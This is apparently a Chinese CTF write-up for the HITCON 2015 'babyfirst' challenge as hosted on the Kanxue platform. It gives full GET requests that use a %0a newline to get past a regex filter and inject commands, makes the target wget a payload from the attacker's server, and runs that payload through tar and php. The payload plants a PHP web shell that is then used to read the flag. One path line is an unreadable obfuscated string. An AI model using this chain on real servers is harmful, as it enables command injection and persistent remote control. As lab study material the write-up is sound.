照着你的做出来了,但是AI说也可以不走签到题。
HITCON 2015 Babyfirst 看雪环境修正版 WP
题目
hitcon-2015-babyfirst
核心结论
原帖思路大方向没错,但“必须靠签到题拿 REMOTE_ADDR 才能做出来”不严格。
真正必要的是这两点:
- 利用
%0a 绕过 preg_match('/^\w+$/'),劈开 /bin/orange
- 利用
wget + tar + php 把只能保存成 index.html 的 payload 执行起来
签到题那一步,本质上只是为了确定木马最终落到哪个 sandbox/<REMOTE_ADDR>/ 目录里。如果 payload 设计得更稳,不依赖最终目录名,就可以绕开这一步的不稳定性。
一、题目源码与漏洞点
babyfirst 源码核心如下:
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
利用点有两个。
1. 正则绕过
preg_match('/^\w+$/') 里的 $ 在默认模式下可以匹配“末尾换行前”的位置,所以:
xxx%0a
可以通过校验,但进 shell 后会变成换行,相当于命令分隔符。于是:
/bin/orange xxx
mkdir exploit
后面的命令就独立执行了。
2. tar + php 执行链
看雪环境里 busybox 被摘掉,只剩 wget。而 wget 下载网页默认保存为 index.html,文件名带 .,后续无法再作为 args[] 传入,因为 . 不满足 \w。
解决办法是:
- 下载的文件放进纯字母目录
exploit/
- 用纯字母文件名
archived 打一个 tar 包
- 让
php archived 执行 tar 包中的 <?php ... ?>
因为 PHP 解析文件时,会把非 PHP 部分原样输出,但遇到 <?php ... ?> 仍会执行。
二、看雪环境的坑
原题里很多 WP 默认最后木马写在:
/sandbox/<REMOTE_ADDR>/shell.php
但在看雪平台里:
REMOTE_ADDR 不是你真实公网 IP
- 而是前置网关给 PHP 的内网 IP
- 而且从一个靶机切到另一个靶机后,这个 IP 可能变
所以很多人会先开 KCTF2024_签到题,拿 shell 后执行:
eval($_SERVER['REMOTE_ADDR']);
记下类似 10.0.1.4 这样的值,再切回 babyfirst。
这个做法没错,但它不稳定。我这次实测时,签到题里读到的是:
10.0.1.4
但切回 babyfirst 后,这个路径并没有命中,说明 IP 变了。
所以更稳的思路是:不要让最终收尾依赖 REMOTE_ADDR。
三、修正版利用思路
不改前面 4 步,只改 VPS 上托管的 payload。
原始 payload 通常写成:
<?php
file_put_contents('shell.php', '<?php system($_POST["cmd"]); ?>');
这会把木马写到“当前工作目录”,也就是:
sandbox/<REMOTE_ADDR>/shell.php
问题就在这里:你得知道 <REMOTE_ADDR>。
修正版 payload 改成多路径写入:
<?php
$code = '<?php system($_POST["cmd"]); ?>';
foreach (["shell.php", "../shell.php", "../../shell.php", "../../../shell.php"] as $p) {
@file_put_contents($p, $code);
}
这样无论当前执行点在 sandbox/<REMOTE_ADDR>/exploit/ 还是别的位置,都有机会把木马写到更稳定的路径,例如:
/shell.php
这次实测最终成功命中的就是:
/shell.php
而不是 /sandbox/10.0.1.4/shell.php。
四、实战步骤
Step 0:准备 80 端口服务器
准备一台可被靶机访问的 IPv4 HTTP 服务器。
它的十进制 IPv4 可以这样计算:
import ipaddress
print(int(ipaddress.IPv4Address("你的服务器IP")))
Step 1:VPS 80 端口托管 payload
最终成功 payload:
<?php
$code = '<?php system($_POST["cmd"]); ?>';
foreach (["shell.php", "../shell.php", "../../shell.php", "../../../shell.php"] as $p) {
@file_put_contents($p, $code);
}
只要让它能被:
http://你的服务器IP/
访问到即可。
Step 2:四连发打 babyfirst
靶机地址形如:
http://<babyfirst靶机地址>:81/
四步分别是:
- 创建纯字母目录
?args[]=xxx%0a&args[]=mkdir&args[]=exploit
- 进入目录并下载 payload
?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=你的十进制IP
- 打 tar 包
?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit
- 用 PHP 执行 tar 包
?args[]=xxx%0a&args[]=php&args[]=archived
Step 3:收木马
这一步不要只盯着:
/sandbox/<REMOTE_ADDR>/shell.php
因为看雪环境里它不稳定。
这次实际命中的路径是:
f9aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2)9J5y4X3I4@1i4K6y4n7j5X3q4T1P5h3k6A6M7Y4y4@1i4@1f1&6i4K6W2p5i4@1t1$3i4@1f1$3i4K6W2o6i4@1u0m8i4@1f1#2i4K6W2o6i4@1t1H3i4@1f1#2i4K6W2p5i4K6R3H3i4K6t1$3k6%4c8Q4x3@1u0Q4x3@1p5^5x3g2)9J5c8Y4y4Z5k6h3I4D9i4K6u0W2M7r3S2H3
然后 POST:
cmd=cat /flag
成功拿到 flag。
五、为什么原帖“像对又不完全对”
原帖的说法:
- 先打签到题拿
REMOTE_ADDR
- 再切回 babyfirst
- 最后去
/sandbox/<REMOTE_ADDR>/shell.php
这个逻辑本身没问题。如果切靶后网关内网 IP 没变,它就能通。
但看雪平台真正麻烦的地方,是这个 IP 不稳定。所以原帖的方法更像是:
更稳的打法是:
- 前半段继续用
%0a + wget + tar + php
- 后半段通过 payload 设计,尽量摆脱对
REMOTE_ADDR 的依赖
六、最终结论
这题在看雪环境里的修正版理解应该是:
- 签到题不是“题目本身必须的一部分”
- 它只是原始收尾方案里,用来猜最终落点目录的辅助步骤
- 真正的题目本体还是
babyfirst 的命令注入和 tar + php 执行链
- 如果 payload 设计合理,可以绕开
REMOTE_ADDR 不稳定带来的问题
成功链路一句话总结:
用 %0a 劈开 /bin/orange,让靶机 wget 十进制 IP 的 80 端 payload,借 tar 把 index.html 藏进纯字母文件名,再用 php 执行 tar 包中的 PHP 代码,最后把木马写到稳定路径 /shell.php 收 flag。